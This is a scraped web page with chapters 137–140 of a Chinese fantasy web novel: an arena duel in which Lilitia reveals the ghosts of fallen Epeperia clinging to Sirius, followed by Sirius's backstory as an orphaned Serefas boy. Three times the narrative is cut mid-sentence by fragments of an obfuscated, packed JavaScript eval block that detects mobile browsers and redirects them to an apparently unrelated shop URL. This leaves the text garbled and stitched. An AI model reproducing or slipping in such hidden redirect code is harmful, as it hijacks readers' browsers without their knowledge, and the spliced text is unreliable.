艾玛这时也正看着利利提亚。比起对礼服的在意,她注意到利利提亚今天戴的魔法石比平时要少很多,甚至手上没有一枚戒指。这还是第一次。 “今晚的演出,我需要一位特殊嘉宾的协助。” 利利提亚侧过身,转向艾玛所在的看台,做出邀请的手势:“女巫殿下——” “——身边那位红发的先生。” 利利提亚看向西里斯,微笑着说:“请到台前来。” 137.揭幕 艾玛猛地握紧了拳,西里斯却神色平静,并不显得意外。 他从坐席上起身,艾玛想制止,西里斯回头对她说:“我会处理好的。你不用动。” 声音卡在喉咙里,变速的心跳因为他的承诺稍缓了些。 艾玛相信西里斯,他总是有能力处理一切问题。但一阵难言的不安却仍然萦绕。 西里斯撑了下观众席边的护栏,从看台上跳下去,落到内场中,走向中心的利利提亚。 在等待他走近的时间里,利利提亚已经继续说下去,声音通过扩音石散开,连最高处的观众席也听得清楚: “各位听说过‘艾佩庇里亚’吗?” 观众席上泛起窃窃低声,德丽克丝皱起了眉。 “是的,这不该是个陌生的名字,它距离我们并不遥远。 “艾佩庇里亚曾拥有过的成就与辉煌远不止人们熟知的那些,可惜无人传颂,以致那些事迹都被埋没了。 “它一夜之间倾覆,国境内上百万的国民不知所踪,繁荣的国都推罗街巷空空,至今是沙漠里流窜野兽都不敢踏入的死城。 “所有经历过那个时代的人都感到不可思议,艾佩庇里亚相关的一切就像所有人共同做的一场荒唐盛大的幻梦。 “但它遗留下了许多文书物件,精巧绝妙的建筑,甚至大部分保存完好。 “后来的人们得以从这些资料中还原出它旧日的景象,感叹其超前的智慧与创造。 “可越是如此,越没有人可以解释,是怎样的灾难能一夕间毁掉这样一个强盛的国家? “它所留下的全部文字资料都在最后一日截断,没有人知道答案。” 西里斯走到他前方数米处,停住了,没有表情地望着他。 利利提亚微笑着说:“现在,答案走到我们眼前来了。” 他关掉扩音石,拿在手里晃了晃,用另一种语言对西里斯说:“你要自己来讲吗?” 西里斯开口,用同样的语言,即使很久没有将其宣之于口,发音仍旧自然流畅:“你的艾佩庇里亚语太烂了。” 利利提亚大笑:“宽容些吧!毕竟艾佩庇里亚亡国那么久了,连我的语言老师也不知道标准的发音,当然跟在那里生活过的人不能相较。 “现在罗穆卢斯只有少部分地区还在讲这种语言,倒是为了研读艾佩庇里亚遗留的资料,学习它的文字是贵族的必修之一。” “我记得。‘罗穆卢斯’,”西里斯冰冷地说,“吞并了艾佩庇里亚亡国后的半数国土,蚕食它留下的遗产,寄居于它残骸上的蛆虫。” “说得真难听。不过我对那个国家没什么感情,你想骂就骂吧。” “我也听说过‘尤利乌斯’。声名赫赫的屠夫,这个姓氏上浸染的鲜血可以淹没一座城市,为罗穆卢斯的昌盛奠基,也理所当然被人唾弃。挣够了刽子手的荣誉,开始寻求贵族的体面。” 利利提亚点头:“真虚伪,对吧?我父亲确实是这样。人贵有自知之明,我不会否认自己是个刽子手。” “你比他更糟糕。”西里斯说。 利利提亚笑出声来。 他退开一步,抬起镰刀转过半圈,重新打开扩音石:“艾佩庇里亚灭亡至今一百七十年!它最终的谜题无人能解。 “那些消失的国民在那一日或许都已死去,但世上所有的通灵师都没找到他们遗留的鬼魂。 “但看见这位先生之后,我终于知道了这个问题的答案。” 自竞技场角落的布置里,作为阵脚的魔法石一个接一个亮起银色的光,却在其中透出血般不祥的红色。 光芒一点与一点衔接,迅速蔓延成囊括了整个内场的巨大圆环,一层层薄薄的光幕从环中升起,地面为之震动。 在法阵的光圈所带来的视野摇动后,一缕缕半透明的物质,烟雾般、幕布般从西里斯身上升起。 那透明的形体升至空中,数十米之高,甚至越出了竞技场穹顶,却因为那之外不在法阵描画范围内,透明的物质一触及法阵边缘,便水般于视野消融。 光线穿过西里斯身边的半透明体,第一次留下真实的影子。 巨大的阴影落在他身后,盖住了大片观众席。 空旷的竞技场中,一些人们听不清晰的、另一种语言的低语,繁杂地交织着,让人背上发麻般,模糊而细密,窸窸窣窣地发生,从角落里泛起回响。 利利提亚张开双臂,欢迎般向他提问: “艾佩庇里亚的亡灵——你为何在此啊?” . . 西里斯转了转头,也有些意外的新奇。 在此之前,他也从未见过自己身上的鬼魂是怎样的外形。 但他们平时不那么活跃,总是挤压在他身体之内,不像此刻溢出躯体,像是要奋力挣扎出封闭他们已久的狭窄囚笼。 这有些异常,他向利利提亚看过去。 利利提亚摊开的手心上有一道新鲜的血痕,是他刚刚用镰刀划开的。 此刻鲜血从他伤口溢出,滴落到地面。 利利提亚仰望着他身上庞大的鬼魂集群,赞叹的语气:“果然,我第一眼看见你的时候就发现了,多么强大的鬼啊!比我曾见过的任何一个都要强大。” 利利提亚将目光落回西里斯身上:“鬼魂们总是忠实于本能,畏惧比自己强大的,急切于吞噬比自己弱小的。很久没有鬼魂对我这么热情了,看来现在是你那边更强呢。” “原来如此。”西里斯了然道,“你是天生能看见鬼的类型。我遇见过的能看见鬼的孩子,最多活不过十二岁。我不知道你是怎么幸存的,但这样的体质注定活不长久。” “或许吧!活太久又有什么意思?如果性命要像你这般漫长,想必活着早已是种折磨了。你要只是想这样继续存在,也一定不会来到月神的神殿,今天更不会站在我面前。” “我还应该谢谢你这么大张旗鼓?” “借到这里的场地可不容易,我费了很多手续来应付审核呢。” 利利提亚摘下颈上的扩音石,捏碎了它。 西里斯向艾玛的方向看了一眼,并没看清什么东西:“你不想被别人听到这些对话?” “你是想问女巫殿下?”利利提亚拍了拍手上的碎屑,“我没打算瞒着她。这场地的距离可不够远,她听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672224|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得见,就算用其他语言她也翻得出来。 “是啊,她大概会生气吧——假如她有‘生气’这种情绪。” “不惜搭上你积累了这么久的身份地位?” 利利提亚耸了下肩:“说实话,在遇见女巫殿下之前,我已经觉得有点无聊了。这个神谕祭司当得太轻易。人一旦没有目标,活着就很容易成为种消磨。 “但我刚刚对女巫殿下产生兴趣,又看见她就要这样遵循每一个女巫的前路。 “哎,太无聊了!人类为什么总是如此虚伪,自我否定,活得既不认可自己,又不敢直面他人?” “因为人类在乎很多东西。”西里斯说。 “啊,确实,这是我和他们最大的不同。但这种地方还挺不错的。就像很多人为了各自的欲求对我有所期待,我喜欢他们堆积这种期待。” 利利提亚收拢手心,又松开,“——在堆积到足够多之后,再毁掉他们的期待。多有趣啊。” “你确实是个疯子。”西里斯说,“正常人理解不了你的逻辑。我跟你也没什么好说的。” “是吗?我还以为你对这种作风很熟悉!” “什么意思?” 利利提亚道:“我曾经对艾佩庇里亚非常有兴趣。我喜欢它的结局,也十分敬佩传说中那位‘女王’。 “她铸就起这样的奇迹,这样荣耀的国家,然后一夕间毁掉它! “多么绚丽的收尾,又何等恐怖的力量!真不愧是—— “‘海神的女巫’。” 西里斯呼吸凝滞了一瞬间,重复了一次:“……什么意思?” “我看起来像是蠢到没有推理能力?”利利提亚不解道,“对于不知道女巫存在的艾佩庇里亚人来说,不明白尚且可以理解,可这不是一目了然的事情?” “艾佩庇里亚的女王名为——‘塞壬’。 “在古老的神话传说中,它的意思是,‘如同海妖般美丽的人’,或者,‘自海中而来的妖精’。” “能够一夜毁灭整个艾佩庇里亚的法术,只有女巫才可能做到。 “但即使是女巫,这样的程度也过于夸张。我想想……‘法阵’,以女巫的力量,结合能够覆盖整个国家的法阵,那么实现这样的构想,就不仅仅是空谈。” “——为什么不说话呢?”利利提亚微笑道,“我猜对了吗?‘西里斯’,不,我不觉得这是你的真名。 “但艾佩庇里亚的历史里,没有你这样的人。你也应该在那场灾难里死去的。” “站在这里的,‘不知道姓名的亡灵’。 “你在这个故事里扮演了怎样的角色,又因为什么才能活到今天?” 鬼魂投下的影子像受到火光映照而晃动,显出诡异且不规则的形变。 寂静持续了片刻。 西里斯开口,声音很沉,冰得让人脊骨生寒:“……我给你一次机会。你可以试着杀死我。但是,如果做不到…… “就用你的命来还吧。” “当然。”利利提亚双手搭上镰刀的刀柄,缓缓扣紧了手指,“也是为了表达对于你这样对手的重视,我才这么认真呢。” 138.死星 几乎像是眨了一下眼的时间。 呼吸吐出半截就已经凝滞,脖颈上迟缓地传来痛感。 西里斯摸上脖颈,手心沾上新流的血。 刚刚位于他前方的半透明魂体被整齐地居中划开,像气流破开雾气。 利利提亚在他身后发出了惊讶的声音:“咦?” 西里斯回过头,看见一眨眼前还站在自己前方的利利提亚出现在了他身后数米处。 不是凭借法术的空间移动,而是通过纯粹的物理动作实现。 之前远观过利利提亚在广场上和使节团的那场争执,西里斯对他的速度有所预想,但近距离的实际对战中仍然无法反应,单凭视力去捕捉他的行动都困难。 利利提亚怀疑地掂了掂手里的镰刀,扫了一眼刀刃:“有砍中的触感,我应该切到了才对。不像是法术啊。” 确实砍到了。西里斯想。 但因为那种速度,伤口反倒没有立刻崩开。 而他的自愈速度太快,这样整齐的伤口甚至便于它立即复原。 利利提亚没有纠结于这点怪异,立刻提刀进行下一次攻击。 这次利利提亚放慢了速度。 西里斯捕捉到他的行动轨迹,但犹豫了一下,放弃了跟上法术。 镰刀的刀刃只切开他半个脖颈,途中刀刃翻转,勾连出血肉,鲜血喷溅出半米。 西里斯感到颈间剧痛,视野一黑。 但利利提亚停住了动作,发出了惊异的吸气声。 所有人看见他身上能致死的伤口以肉眼可见的速度愈合时,都是震惊的表情。 每一次濒死的痛感都如此鲜明,不因为无数次的重复而折损半分。 每每他恢复过视野时就能看到那些人的表情,恐惧如望着一个不该存在于此处的怪物。 利利提亚皱着眉望他,握着刀的手却放松了,刀柄向地面一顿。 喉咙被切开,西里斯多花了两秒恢复声音,再过三秒,脖颈上鲜血淋漓的伤口就已经复原如初,看不到一点伤痕。 他开口时声音微微发哑:“怎么?” “我还以为我们的情况差不太多。”利利提亚的表情里带上一丝不快,“但完全不是一回事。” 他抬起镰刀晃了晃:“能够杀死鬼的武器有很多讲究,像是‘沾到活人的血就会失效’。 “身上出现伤口之后,我会被它们判定为鬼,我的血不会影响武器的性能。 “但是,刚才——刀沾到你的血之后,就不再能碰到你身边的魂体。也就是说,它碰到你的血之后失去了效用。 “能杀死鬼的武器判定你是‘人’。” 利利提亚盯着他,偏过头:“我以为你和这些鬼魂是‘共生’的。如果你们是一体,受到攻击的时候,它们必然产生反应。但刚刚它们没有护着你。真奇怪。” “你要在这里写论文想出个明白?”西里斯嘲讽道。 “是啊,是啊,这可真难办——这样的伤口愈合速度,武器还一上来就报废了,真难办!” 利利提亚的声音却逐渐变得轻快热烈,“你肯定是无吟唱型的魔法师,那么切掉舌头也不能阻止你施法,砍断手臂会有效吧?不然先给你脑袋搬个家再谈?哪边才是核心,会从哪里开始再生?” 西里斯回答得干脆利落:“心脏。” “嗯?” “瞄准心脏。其他部分都可以迅速再生,只有心脏彻底停跳才能致死。头部分离对你反而不利,信不信由你。” 利利提亚眨了下眼睛:“原来你是真的想死啊。” “怪不得,我还想刚才那个速度,无吟唱法术是可能跟上的。你不打算还手吗?”利利提亚抵着唇,似乎有点为难,“我虽然不挑对手,但攻击固定靶太没劲……” 红线猛地划破空气,利利提亚反射性地向侧边倾身,险险避过要刺穿脖颈的攻击,目光亮起来:“这样才有意思!” . 场内的形势不对劲,大部分人听不清他们在说什么,但状况明显脱离了正常演出的范畴。 广阔的竞技场舞台留给两个人本会显得太大,但西里斯身上那巨大的鬼影一出现就立刻显得场地狭窄。 利利提亚控制了攻势,将战斗范围限制在舞台中心区,没有波及观众席,但这也限定了他的活动范围。 西里斯的红线逐渐适应了节奏,能跟上他的攻击速度,但仍然是受伤更多的那个。虽然伤口很快愈合,只有衣服上的血迹越来越深。 德丽克丝已经起身,正叫来场边守卫。 席上本就有许多神殿职员,有作战能力、会特殊法术的留下,疏散其他的普通观众。时间来得及,不要引起恐慌。 场面还在控制范围之内。利利提亚的行为一定有擅作主张又未提前告知的部分,但就目前来看,甚至不能直接定罪他图谋不轨,反倒是西里斯让她越看越心惊。 德丽克丝从前完全没把西里斯放在过心上,她轻易断定了这个男人只是女巫的附属,恋人或者别的什么私人关系,她自然不干涉女巫的情感问题。 但场上发生的变化已经将事情的性质指向另一个层面: 利利提亚的话并非空口无凭。 德丽克丝不信任这个人,他一定有所隐瞒,但不会捏造全无事实的谎言。 西里斯身上那无数的鬼魂并不是幻觉的法术,而是利利提亚的法阵真的显出了它们的形体。 那么那些鬼魂来自哪里?又为何在他身上? 利利提亚有怎样的战斗能力,德丽克丝非常清楚,而西里斯的法术既能应对他的攻击,同时还具有这样恐怖的再生恢复体质。 这样一个怪物在阿瓦托芬游荡数月之久,却全不受提防与戒备。 神殿完全不知道他的来历底细,更没有准备过发生意外的应对预案。 如果西里斯失去控制,第一个需要为他行为负责的,就是替他担保的女巫。 而艾玛事前什么都没有对议会说过。 德丽克丝看向斜方的看台。 艾玛站在护栏边上,正看着场内的景象。 荷尔贝拉也已经跟着站起身,视线却在场内和低处徘徊。 理性上她明确,她不需要为现在的状况担负什么责任,但就像隐藏了某个秘密,说出口而不知道结果的谎言,茫然而自我厌恶的不安又将她导向沉默。 荷尔贝拉有时会想,她在无数的岔路口是否选择了无数个错误。她是否本该给出更好的答案,即使她至今也不知道怎么样真的是“更好”。 艾玛很敏锐,或许是她的性格,或许是她女巫的特质。 荷尔贝拉敬畏这种敏锐,下意识想要躲避。 但她仿佛一直在等待有谁宣判她有罪,等待悬在头顶的刀刃落下来,告知她不应得她所受的善意与宽待。 她懦弱、自私且卑劣,即使被倾注再多好意与期待,也从未变化,只是一而再再而三地令人失望。 等艾玛彻底看透她的时候,也一定就是放弃她的时候。 荷尔贝拉盯了前方的空气数秒,终于抬起眼睛,却并没有碰到艾玛的目光。但她愣了一下。 艾玛抓着护栏的扶手,视线凝固在场上,周身气压低得可怕。 她抵在护栏上的手指收得很紧。荷尔贝拉从未见过她表情这么难看。 . 利利提亚的动作慢了一拍。 红线缠上他刀尖,掰断了镰刀的刀刃。 他退开两步,西里斯却一时没追加攻势。 “别开玩笑了。那种武器杀不死我。”西里斯皱眉,“扔掉那把刀,用你的法术。别说你只有这点本事,空长了挑衅人的狂妄。” 利利提亚看一眼断刃的镰刀,有些遗憾,在这个空隙里调整呼吸:“这是我的刀里,最适合以一对多的一把。之前没有值得我使用它的对手,我还想今天会很合适。 “结果出场退场都这么糟,还真只是起到了一个造型上的作用,哎。” “你的伤口没有复原,拖延时间恢复不了你多少体力,而我不会疲劳,魔力也不会竭尽。还是你想趁这时间给自己挑个死法?” “嗯,你别说,这还真是我想过很多次的问题。但想来想去,能想到的都太无聊了,所以后来不想了。惊喜来自于意外,人还是要多点等待的耐心才好啊。” 利利提亚呼出一口气,说:“那纠正两点。我今天没有带其他魔法石,包括能治愈伤口的,那些东西带在身上,反而会干扰魔力使用和感知。 “认真想要把自身能力用到最大化的时候,这种因素应该排除。我一直在知道自己只有一条命的前提下战斗,躲避伤害的自觉至少比你高。 “我在刀上附加了攻击性法术,但可惜本体废了,附加效果太差。我的本能总是太诚实,只要是我‘愿望’之外的,哪怕衍生的辅助魔法我也不擅长。然后,” 他甚至大大方方看了一眼观众席:“德丽克丝女士还是太放松了,清场清得真慢啊。我不需要那么多观众。差不多——” 一道红线擦着他脸边闪过,划断了利利提亚的发带。 他银色的长发散开,打落在肩膀上。 “我在跟你闹着玩吗?”西里斯冷冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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像是孩子再沉迷赌马会伤家中财运;学不进去古语就不要勉强,其天赋应当在其他门类上;家里不要放置某花某草,会招致孩子过敏不适。 都是些不大不小的琐碎事,有的听来跟预言扯不上什么干系,反像是生活经验和老生常谈的教训。 访客们都知道,太大的事她不会说,小事也只会挑些无关痛痒,让人听了称心高兴的。所有人对此心照不宣地抱着默契。 奥古斯塔·杜路莎夫人也带利提亚去过一次。 占卜师女士鬓发斑白,皱纹清晰,神态却不带暮气,银灰色的眸子没有焦距。 她会捏一捏需要占卜的人的手指,思考一会儿,就会给出回答。 捏到利提亚手指的时候,她捏了捏他食指指根,又捏了捏无名指和拇指的指节,最终捏了捏小指的指尖。 “这孩子会有大出息。”她淡淡给了中肯的评语。 周围同来的访客自然向杜路莎夫人道贺。 这是个模糊的评价,但是则喜讯,跟她往常评语的风格差不多。 客人们又接着热闹地聊了会儿,等到时间差不多就纷纷告辞了。 房间里恢复了安静,占卜师坐在椅子上,听窗外的风声。 她说:“你迷路了吗,年轻的尤利乌斯?” 折返回来的利提亚问:“我并没有开口,您为什么知道是我呢?” “人的心比眼睛,比耳朵更灵敏。你有什么话要问?” “您为什么失了明?” “冒犯的小子。我只回答一次:人不能看见自己不该看见的东西。如果这满足了你的好奇,你可以离开了。” 利提亚笑了笑,说:“您的眼睛真的看不见吗?” 占卜师向他转过头,循着声音的来向,蒙蒙的眼睛望向他。 她发出一声叹息,闭了闭眼睛。 “我真不愿意看你。但看与不看,你都仍然存在,证明着永恒不变的因果与报应。 “美丽而可怖的星星,罗穆卢斯的终点与厄运。” “您是说,这是我的命运?”利提亚失望地说,“——就和我本能的引导与指向一样。明确,直接,清晰得一眼能看见尽头。多么无趣的事情。” “你也有这样的叛逆心。” “既然我不是什么‘纯粹的象征’,还被赋予了这一点不多不少的情感和意识,那么有这种和‘人’匹配的逆反也是必然。 “如果这明确的道路是我的‘命运’,我便不会选这路。” “但你终究要回到同样的路上来。” “所有人的终点都相同,挣扎才为生命赋予意义。您会祝福我吗?” 占卜师望着他,说:“你该受福的,命运都已经给你。” . . “在这个国家毁灭之前,罗穆卢斯的死星,你永不陨落, “你战无不胜。” 139.他是________ 利利提亚将手中的银线变了支长枪,枪尾抵在地上。 这时饶有余裕的人显然是他,但利利提亚停下来,看着西里斯,偏了下脑袋。 “你好像现在还没发现,我为什么要把场地选在这里。” 他有点失望:“场地大小、环境这些因素都只是次要,很多人不知道,这里之所以对法阵能够产生明显的增幅效果,是因为有一块巨大的‘指月石’在圆形竞技场正下方。 “‘指月石’的来历,神殿中历来只有猜想,最主要的理论有两种: “一种是,本身普通的石块受到了月神的赐福,因而能体现祂的意识;另一种,‘指月石’是月神制造的化身在人间的形式之一。 “我的猜测更过激些,我想,指月石不是什么化身,而是‘它们就是月神本身。’ “或者说,它们都是月神的一部分,月星的碎片。 “古来就有多项传说论证,‘神明是魔力的本源’,所以人们相信,越接近神明本体的地方魔力越充沛。而信仰这位神明的信徒,越靠近祂就越强大。 “我能为这种说法作证。” 利利提亚抬起手指,锐利的银色直线随着他的动作扭曲角度,柔软地变化形状。 “——我对魔力的感知很敏锐,这种‘距离的差异’造成的影响对我来说十足明显。所以我一到阿瓦托芬就发现了,这里不愧被称为‘地上的月亮’。 “我是月神的信徒,这种影响对我只有好处。所以我把场地选在这里,布置了以自己为核心和主导的法阵,除了让鬼显形的效果,还有增幅自身和削弱场地内其他目标的设计。 “啊当然,如果你也是月神的信徒,这些算盘就打空了。但我觉得你不像,看来也确实不是。 “我做足了准备才来‘挑战’你。能从艾佩庇里亚的黄金时代活到如今,你一定很强。 “现在交过手,我也确信你的确是个强大的魔法师……也仅仅是在魔力上。” 利利提亚停了停,冷淡地看着他:“你的感知能力很混乱,连法阵让你的施术反应速度有延迟都没发现,对你这种程度的魔法师,这种细节根本不应该。 “作战思路和策略还不错,但是实战反应一塌糊涂。高速攻防里很容易看出习惯,我猜你别说上战场,连战斗经验都没多少。恐怕迄今为止碰到的敌人,都是直接凭魔力碾压过去的吧?” “虽然有着几乎比肩女巫的魔力,再生恢复速度非常惊人,但这样也只是个格外耐打的木桩而已。”利利提亚重新提起长枪,“还真是比想象中要没劲很多啊。” 说得没错。西里斯找不到什么反驳的点。 他确实不擅长战斗,只是迄今为止所遇见的场面,都能靠魔力应付过去而已。 但利利提亚本身魔力极高,又完全偏科,专精于战斗这一门类,让他仅仅在这个领域内甚至达到了接近女巫的强度,至于西里斯的短板在他面前一览无余。 有那么几个痛觉反复到模糊了意识的瞬间,身体本能仍然会显露出强烈的求生欲,西里斯有时会短暂恍惚,一时间遗忘自己在何时何地,突然提起一口气,惧怕于自己的死亡。 可看清现实之后,那种恐惧便冰冷地沉下去,令他感到反胃恶心。 极其讽刺的是,最早,有很长一段时间,他非常害怕自己的死亡。 不要说和人正面战斗,遇到需要用性命冒险的策划,他也一定慎之又慎,反复斟酌。 躲在幕后或挑拨,或教唆,或引导。 算计阴谋,衡量人心,逢场作戏,一步一步完成自己的设计。 他不敢用命去赌,因为他只有一条命,一次机会,失败就万劫不复。 如果人犯过的错误和罪孽可以列做一张名单,那么恨意或许能够清晰明白地看出该指向何处。 如果复仇是把刀扎进仇敌的心脏,一切就能够结束,如果是这样简单的事就好了。 . 他是谁? . 这个问题一开始只有最简单的唯一答案。 当别人指指他的角,询问他的来处时,他会回答:他是塞利法斯。 在他出生的村庄,每个人都是塞利法斯。 这个名字是他们的种族,也是他们的姓氏。 塞利法斯是混血,人兽混血在大陆上是最常见的族类之一,所以没什么值得稀奇。 他们头顶那对形似翅膀,蓝色羽毛如鳞片般的双角,除却还算得上美观,并无什么非凡之处。 这对角没有带给塞利法斯们超常的魔法天赋,在日常生活中几乎是个可有可无的摆设。 它们常见的最大用途之一,是在主人占着双手时替他向熟人打招呼,吵架时张大翅膀扑棱着壮声势。 愚蠢的行为,他旁观时曾轻蔑地评价,直到发现自己生气时也会下意识那样打开翅膀,为此别扭了好一段时间。 塞利法斯的村庄在艾佩庇里亚王国的边境,大城市的繁荣与进步跟他们没有太大关系,只是商贸的发达也给这个偏远小村带来了许多躁动的新鲜生机。 许多途经的商人向村里的孩子们讲那些让人目眩神迷的故事。 他们赞美女王,夸耀推罗的奇迹。 他从那些故事中衍生了许多对村庄以外世界的想象,并为之神往。 但相对的,村庄里老人们叙述的那些无可查证的传说,关于塞利法斯的血缘来历,就显得异常无趣,乏善可陈。年轻人对此总是提不起兴趣。 只是他嫌弃双角的无用之余,有时也喜爱和亲友们的这种相似。 所有塞利法斯都有这样一对角,只需见面就知他们流着同源的血脉,有着相同的来处。这种相同令人感到温暖亲切。 老人们讲什么海神,什么鱼和鸟血脉相融的奇迹,讲得累了,发现孩子们仍然听不进,也只能叹叹气,恐吓般讲点务实的警告提醒: 从前族里有人因事故切去一角,此后就神志半失,浑浑噩噩,终日不清醒。 凡是角羽断折,便会招来厄运。 若有损伤,损伤从此不可逆。 但如果悉心爱护,珍重以待,这对角便会庇佑塞利法斯,实现你的心愿。 塞利法斯不可失去其角羽,失去双角就等于失去性命。 . . 在一个塞利法斯向女王朝献绸缎绣品时,在织物满地粼粼的反光里,女王从王座上起身,说:我要他的双角。 “我要所有塞利法斯的角羽。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683466|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > . . 那毫无疑问是不讲道理的掠夺。 但这样的奇想与暴行,在塞壬女王当政的艾佩庇里亚早是司空见惯的寻常事。 没有正当的由头,就编造理由,罗织罪名。 掠夺变成围猎,变成屠杀,变成讨好女王的筹码。 她是最强大的魔法师,最了不起的占卜家,她想要的没有得不到,没有一个塞利法斯的去向能逃过她的眼睛。 人们说沾血的蓝色角羽在她身边堆积如山,远看光波粼粼,比故事里的海洋更绚烂瑰丽。 任何人都不可信,任何人都会出卖塞利法斯。 甚至不必等女王亲自转动眼睛,她一道悬赏令,数不清的人便要主动为她献上猎物。 一度被冷落的宫廷预言家更以为这是证明自己才能的大好时机,为追猎者们提供线索坐标,在谈判桌上为功劳归属分成争执,用秤量取塞利法斯的性命。 他想逃离那严密的罗网,却不知道该往何处逃去。 能够被称为“家”的地方,塞利法斯们聚居的村庄,是第一个被他们围猎的地点。 那曾吸引他的对外界的向往,将他在那灾难发生前带离了村庄,却使他幸免于难。 他作为学徒在工匠的帐篷外听见他们议论塞利法斯的悬赏,在他们迟疑和谋划的缝隙里,毫不犹豫地当场逃离了营地。 可又能逃到哪里去? 他怎么能逃得赢那密不透风的追捕,逃得出所有素不相识者的贪婪,逃得过大陆上最强大的魔法师的眼睛? 他怀着最后一点侥幸地,逃回他出生的村庄,远远地望见那片黑色的灰烬。 最后一点侥幸是他做了一场噩梦,一切都只是梦里的幻影,他可以在家人身边醒来,看见世界仍然如初,无忧无虑。 他在废墟中从最后的侥幸里醒来,浑身冰凉,只剩下满怀痛苦与恨意滚烫。 但一个只有十二岁的孩子什么都做不到,他的恨意是一把无力的刀。 他从怀里拿出自己仅有的匕首,用一种无路可退的、几近疯狂的思考想: 那些围捕他们的人,想要的都是塞利法斯的角。 那就让他们永远得不到。 他亲手切下了自己的双角,从根部割离。 他曾经不知道塞利法斯失去角会是这么痛苦的事情,他们和角相连如此紧密,割掉双角如同挖出自己的心。 但仿佛是那时的疯狂战胜了痛苦,剧痛没有让他立刻晕厥。 他在恍惚里想起,长辈们曾说过,塞利法斯的角可以实现人的心愿。 他一直不相信。但那时什么都无所谓了。他抓着自己切下来的双角许愿: 所有害塞利法斯落到如今地步的人,都要遭受报应。 他们要尝受塞利法斯所受过的痛苦。 这一切背后的祸首,我要杀死她。 她绝不能轻易死去。 他许完愿,将那对角塞进嘴里,吞了下去。 . . 如果世上真的存在神明,面对这样的惨剧和暴行,祂们为什么无动于衷呢? 如果世上没有神明,他又为什么切断自己的双角之后,还能活下来呢。 140.医师 他醒过来的时候在木板的车厢里,手脚上戴着镣铐。 车厢颠簸得厉害,但他胃里空空,只有火烧般持续不断的热意,从胃里,自心脏,延烧到四肢百骸。 塞利法斯的村庄本就在边境上,自住民被屠杀后,就成了一块混乱的交界地,佣兵和强盗横行。 他昏倒在那里,被奴隶贩子当货物顺带捡走。 止血药物金贵,不会用在他这样看不出价值的孩子身上,所幸头顶致命的伤口奇迹般不流血了。 他自割断双角后开始发高烧,以至于路途的难捱,被歹人捡去的不幸都无暇思考。 他笃定这是自己死去的前兆。 塞利法斯失去双角之后活不过七天。 捡走他的强盗也觉得他大概活不长,但他们毕竟不把商品当人看,只要有数量就好。 没人认出他是塞利法斯。或者说,没认出“他曾经是”。 头顶生角的混血很多,因各种理由被人割去双角的可怜虫也多。 失去那对角之后,无论是从个体特征还是市场价值,塞利法斯都无特别之处。 可高烧褪去了,七天之后他仍然活着,甚至能够清醒地思考。 从金属的反光里,他模糊看见自己的样貌。 他原本的短发是棕色,眼眸如琥珀。因为过久没有打理,发尾已经落到肩上,和虹膜一样沉淀成干涸的暗红。 并且,他发现,他开始可以使用魔法。 . 他被转卖到黑市。 在发现自己幸运未死后,灼灼燃烧的恨意与怒火便开始要求他找寻生路。 他认识通用文字,算术也不错,还有一定的法术天赋。 虽然算不上太高的价值,但多少派得上用场。 买下他的金主是那座黑市的大人物,正为另一件事烦心:他雇佣的药剂师性情乖僻,对他毫无敬意,可那怪才的本事确无人可替。 送去偷师的学徒连皮毛都未曾学到,就被他转手送进了试药笼。 毒药可以杀人。 他现在最需要、最迫切的,就是学习杀人的本事。 他正好被送到那个天才的药剂师身边,或许是那份恨意太真实,驱动他学习的欲望格外强烈。 从小村里人都说,他是个聪明的孩子,只是对于不感兴趣的课业全不关心,唯有在喜爱的机械制作上格外专一努力。这样的秉性是能做出成绩的。 他在试药台上看见自己调配的溶液腐蚀金铁时想起这些话,格外讽刺。 那个被称为“医师”的药剂师很看好他。 医师性格阴沉,喜怒无常,暴戾乖张,人人避之不及。 但他与医师对话时,却敢于盯着他的眼睛,不会因为被医师注视而发抖。 记性好,动作利落,脑袋也灵活,这些特质很快让他在学徒里脱颖而出。 有一天收拾东西时,医师突然问他,是哪里人,有父母吗,角怎么断的。 为应对这类问题,他早给自己编造了一套来历,便回答是在与家人迁徙时被强盗所劫,被割去了角,家人都已经不在了。 医师听完淡淡应下,没说什么。 但后来医师开始没头没脑地和他说,例如他为什么看某人不顺眼,他曾经遇见过什么人事,抛弃他的亲族和背叛他的旧交。 他平时少言,这些却是反常的私心话。 他渐渐意识到,那个怪癖的医师唯独对他多有善待。 医师才能奇绝,但生就这样的性情与乖戾,在被人厌弃的同时也厌弃人,又在自作自受的茧里感到孤独。 他对药物研究极其执迷狂热,妄图用事业上的成就向谁证明自己,而如今年岁已长,身边仍没有一个亲近的人,便多少把他当成了自己的孩子。 常日里时时相处,不免生出些感情。 医师品性道德极差,但对他确实还不错,又算是知遇他的老师。 他心里有一点点动摇,觉得这个人确也可怜。 . 对塞利法斯的追捕持续了一两年。 他不敢听相关的消息,又逼迫自己不能不听。 即使听了也什么都做不到。他连救自己都困难,遑论救其他人。 可一些意外有时候总会落到人面前来,避也避不开,理智也压不住,吸引他往明知危险的地方去。 他在黑市里遇见了另一个塞利法斯,被压在地上,正被切下双角的货物。 